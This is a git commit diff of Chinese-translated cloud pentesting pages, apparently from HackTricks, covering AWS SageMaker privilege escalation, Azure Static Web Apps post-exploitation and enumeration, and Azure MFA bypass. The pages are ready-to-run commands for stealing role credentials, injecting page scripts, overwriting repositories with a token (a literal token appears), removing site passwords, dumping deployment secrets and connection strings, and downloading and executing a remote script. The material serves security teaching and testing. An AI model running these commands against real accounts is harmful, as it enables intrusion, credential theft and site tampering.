Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:57:59 +00:00
parent d4b5966ab5
commit f71b110582
5 changed files with 287 additions and 16 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -6,7 +6,7 @@
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
开始创建一个带有访问权限的 IAM 角色的笔记本:
开始创建一个带有附加的 IAM 角色的笔记本:
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
@@ -17,7 +17,7 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
导航到 URL 并在浏览器中点击右上角 \`Open JupyterLab\`然后向下滚动到“Launcher”选项卡在“Other”部分点击“Terminal”按钮。
导航到 URL 并在右上角点击 \`Open JupyterLab\`然后向下滚动到“Launcher”选项卡在“Other”部分点击“Terminal”按钮。
现在可以访问 IAM 角色的元数据凭证。
@@ -25,15 +25,15 @@ aws sagemaker create-presigned-notebook-instance-url \
### `sagemaker:CreatePresignedNotebookInstanceUrl`
如果已经在上面运行 Jupyter **notebooks**,并且您可以通过 `sagemaker:ListNotebookInstances` 列出它们(或以其他方式发现它们)。您可以 **为它们生成一个 URL访问它们并窃取凭证如前面所述的技术所示**
如果已经 Jupyter **notebooks 正在运行**,并且您可以通过 `sagemaker:ListNotebookInstances` 列出它们(或以其他方式发现它们)。您可以 **为它们生成一个 URL访问它们并窃取凭证如前面所述的技术所示**
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**潜在影响:**到附加的 sagemaker 服务角色。
**潜在影响:**到附加的 sagemaker 服务角色。
### `sagemaker:CreateProcessingJob,iam:PassRole`
拥有这些权限的攻击者可以使 **sagemaker 执行一个 processingjob**,并附加一个 sagemaker 角色。攻击者可以指将在 **AWS 管理的 ECS 账户实例** 中运行的容器的定义,并 **窃取附加的 IAM 角色的凭证**
拥有这些权限的攻击者可以使 **sagemaker 执行一个 processingjob**,并附加一个 sagemaker 角色。攻击者可以指将在 **AWS 管理的 ECS 账户实例** 中运行的容器的定义,并 **窃取附加的 IAM 角色的凭证**
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -52,7 +52,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
拥有这些权限的攻击者将能够创建一个训练作业,**在其上运行任意容器**,并附加一个**角色**。因此,攻击者将能够窃取该角色的凭证。
> [!WARNING]
> 这个场景比之前的更难以利用,因为你需要生成一个 Docker 镜像,该镜像将直接将反向 shell 或凭证发送给攻击者(你无法在训练作业的配置中指启动命令)。
> 这个场景比之前的更难以利用,因为你需要生成一个 Docker 镜像,该镜像将直接将反向 shell 或凭证发送给攻击者(你无法在训练作业的配置中指启动命令)。
>
> ```bash
> # 创建 docker 镜像
@@ -94,8 +94,8 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
拥有这些权限的攻击者将(可能)能够创建一个 **超参数训练作业****在其上运行一个任意容器**,并附加一个 **角色**。\
&#xNAN;_&#x49; 由于时间不足尚未进行利用,但看起来与之前的利用相似,欢迎发送 PR 以提供利用细节。_
拥有这些权限的攻击者将(可能)能够创建一个 **超参数训练作业****在其上运行任意容器**,并附加一个 **角色**。\
_由于时间不足,我还没有进行利用,但看起来与之前的利用相似,欢迎提交包含利用细节的 PR。_
## 参考

View File

@@ -0,0 +1,162 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
有关此服务的更多信息,请查看:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
可以通过创建一个代码片段使静态网页加载任意 HTML 代码。这可能允许攻击者在 web 应用程序中注入 JS 代码,并窃取敏感信息,例如凭据或助记密钥(在 web3 钱包中)。
以下命令创建一个将始终被 web 应用程序加载的代码片段::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### 读取配置的第三方凭据
如在应用服务部分所述:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
运行以下命令可以**读取当前账户中配置的第三方凭据**。请注意如果例如某些Github凭据配置在不同的用户中您将无法从其他用户访问该令牌。
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
此命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的令牌。
在这里有一些命令示例来检查令牌:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Overwrite file - Overwrite routes, HTML, JS...
可以通过 Azure 使用 **Github token** 发送请求来 **覆盖包含应用的 Github 仓库中的文件**,请求如下所示,指明要覆盖的文件路径、文件内容和提交信息。
攻击者可以利用这一点基本上 **更改 web 应用的内容** 以提供恶意内容(窃取凭据、助记词密钥...)或仅仅是 **将某些路径重新路由** 到他们自己的服务器,通过覆盖 `staticwebapp.config.json` 文件。
> [!WARNING]
> 请注意,如果攻击者以任何方式成功入侵 Github 仓库,他们也可以直接从 Github 覆盖文件。
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
通过此权限,可以**修改保护静态 Web 应用的密码**,甚至可以通过发送如下请求来取消对每个环境的保护:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
此权限允许获取静态应用的 **API 密钥部署令牌**
此令牌允许部署应用。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
然后,为了更新应用程序,您可以运行以下命令。请注意,此命令是通过检查 **如何使用 Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)** 提取的,因为这是 Azure 默认设置使用的命令。因此,图像和参数在未来可能会发生变化。
1. 下载仓库 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(或您想要部署的任何其他仓库),并运行 `cd react-basic`
2. 更改您想要部署的代码
3. 运行部署(记得更改 `<api-token>`
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
通过此权限,可以**将静态 Web 应用的源更改为不同的 Github 存储库**,但是,它不会被自动配置,因为这通常必须通过 Github Action 完成,使用授权该操作的令牌,因为此令牌不会在存储库的 Github 秘密中自动更新(它仅在应用创建时自动添加)。
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
通过此权限,可以**重置静态 Web 应用的 API 密钥**,这可能会导致自动部署应用的工作流出现拒绝服务。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -31,7 +31,7 @@ Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据
- **身份验证流程**:选项为“设备代码流程”和“身份验证转移”
- 这不会影响攻击者,除非他试图在钓鱼尝试中滥用任何这些协议以访问受害者的帐户
可能的 **结果** 是:阻止或授予访问,可能的条件包括要求 MFA、设备合规等…
可能的 **结果** 是:阻止或授予访问,可能的条件包括要求 MFA、设备合规等…
### 设备平台 - 设备条件
@@ -44,7 +44,7 @@ Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
&#x20;或者使用 [这样的浏览器扩展](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)。
或者使用 [这样的浏览器扩展](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)。
### 位置国家、IP 范围 - 设备条件
@@ -69,7 +69,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
工具 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) 也可以用于类似的目的,尽管它看起来没有维护。
工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可以用于测试这些保护措施,看看是否可以绕过 MFA 或阻止,但该工具是从 **白盒** 角度工作的。您首先需要下载租户中允许的应用程序列表,然后它将尝试登录这些应用程序。
工具 [**ROPCI**](https://github.com/wunderwuzzi23/ropci) 也可以用于测试这些保护措施,看看是否可以绕过 MFA 或阻止,但该工具是从 **whitebox** 角度工作的。您首先需要下载租户中允许的应用程序列表,然后它将尝试登录这些应用程序。
## 其他 Az MFA 绕过
@@ -78,13 +78,13 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
一个 Azure MFA 选项是 **接收在配置的电话号码上的电话**,用户将被要求 **发送字符 `#`**
> [!CAUTION]
> 由于字符只是 **音调**,攻击者可以 **破坏** 电话号码的 **语音邮件** 消息,将 **`#` 的音调** 配置为消息,然后在请求 MFA 时确保 **受害者的电话忙**(拨打它),这样 Azure 的电话就会被重定向到语音邮件。
> 由于字符只是 **音调**,攻击者可以 **破坏** 电话号码的 **语音邮件** 消息,将 **`#` 的音调** 配置为消息,然后在请求 MFA 时确保 **受害者的电话正在忙**(拨打它),这样 Azure 的电话就会被重定向到语音邮件。
### 合规设备
策略通常要求合规设备或 MFA因此 **攻击者可以注册合规设备**,获取 **PRT** 令牌并 **以此方式绕过 MFA**
首先在 Intune 中注册 **合规设备**,然后使用以下命令 **获取 PRT**
首先在 Intune 中注册 **合规设备**,然后使用:
```powershell
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
此脚本获取一些用户凭据并检查是否可以登录某些应用程序。
这对于查看您**是否不需要 MFA 登录某些应用程序**非常有用,这些应用程序您可能会稍后利用来**提升权限**。
这对于查看您**是否不需要 MFA 登录某些应用程序**非常有用,这些应用程序您可能会利用来**提升权限**。
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -116,7 +116,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep 是一个 PowerShell 脚本,尝试使用提供的凭据 **登录到各种 Microsoft 服务,并尝试识别 MFA 是否已启用**。根据条件访问策略和其他多因素身份验证设置的配置,些协议可能最终只保留单因素。它还对 ADFS 配置进行了额外检查,并可以在检测到时尝试登录到本地 ADFS 服务器。
MFASweep 是一个 PowerShell 脚本,尝试使用提供的凭据 **登录到各种 Microsoft 服务,并尝试识别是否启用了 MFA**。根据条件访问策略和其他多因素身份验证设置的配置,些协议可能最终会保持单因素。它还对 ADFS 配置进行了额外检查,并可以在检测到时尝试登录到本地 ADFS 服务器。
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -148,7 +148,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
因为 **Azure** **门户** **没有限制**,可以 **从门户端点获取令牌以访问之前执行检测到的任何服务**。在这种情况下,识别了 Sharepoint并请求访问它的令牌
因为 **Azure** **门户** **没有限制**,可以 **从门户端点收集令牌以访问之前执行检测到的任何服务**。在这种情况下,识别了 Sharepoint并请求访问它的令牌
```powershell
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

View File

@@ -0,0 +1,109 @@
# Az - Static Web Apps
{{#include ../../../banners/hacktricks-training.md}}
## Static Web Apps 基本信息
Azure Static Web Apps 是一个云服务,用于托管 **来自 GitHub 等代码库的静态 web 应用,具有自动 CI/CD**。它提供全球内容交付、无服务器后端和内置 HTTPS使其安全且可扩展。然而风险包括配置错误的 CORS、不充分的身份验证和内容篡改如果管理不当可能会使应用面临 XSS 和数据泄露等攻击。
> [!TIP]
> 创建静态应用时,您可以选择 **部署授权策略**,在 **部署令牌** 和 **GitHub Actions 工作流** 之间进行选择。
### Web 应用身份验证
可以 **配置密码** 来访问 Web 应用。Web 控制台允许配置它以保护仅暂存环境或暂存和生产环境。
这就是在撰写时密码保护的 web 应用的样子:
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
可以查看 **是否使用了任何密码** 以及哪些环境受到保护:
```bash
az rest --method GET \
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
```
然而,这 **不会以明文显示密码**,而是类似于:`"password": "**********************"`
### 路由
路由定义了 **如何处理传入的 HTTP 请求** 在静态 Web 应用程序中。配置在 **`staticwebapp.config.json`** 文件中,它们控制 URL 重写、重定向、访问限制和基于角色的授权,确保资源的正确处理和安全性。
一些示例:
```json
{
"routes": [
{
"route": "/",
"rewrite": "/index.html"
},
{
"route": "/about",
"rewrite": "/about.html"
},
{
"route": "/api/*",
"allowedRoles": ["authenticated"]
},
{
"route": "/admin",
"redirect": "/login",
"statusCode": 302
}
],
"navigationFallback": {
"rewrite": "/index.html",
"exclude": ["/api/*", "/assets/*"]
}
}
```
## 枚举
```bash
# List Static Webapps
az staticwebapp list --output table
# Get Static Webapp details
az staticwebapp show --name <name> --resource-group <res-group> --output table
# Get appsettings
az staticwebapp appsettings list --name <name>
# Get env information
az staticwebapp environment list --name <name>
az staticwebapp environment functions --name <name>
# Get API key
az staticwebapp secrets list --name <name>
# Get invited users
az staticwebapp users list --name <name>
# Get database connections
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
```
## 生成 Web 应用的示例
您可以在以下链接找到生成 Web 应用的一个不错示例:[https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. 将仓库 https://github.com/staticwebdev/react-basic/generate 叉到您的 GitHub 账户,并将其命名为 `my-first-static-web-app`
2. 在 Azure 门户中创建一个静态 Web 应用,配置 GitHub 访问并选择之前叉出的新仓库
3. 创建它,等待几分钟,然后检查您的新页面!
## 后期利用
{{#ref}}
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
{{#endref}}
## 参考
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
{{#include ../../../banners/hacktricks-training.md}}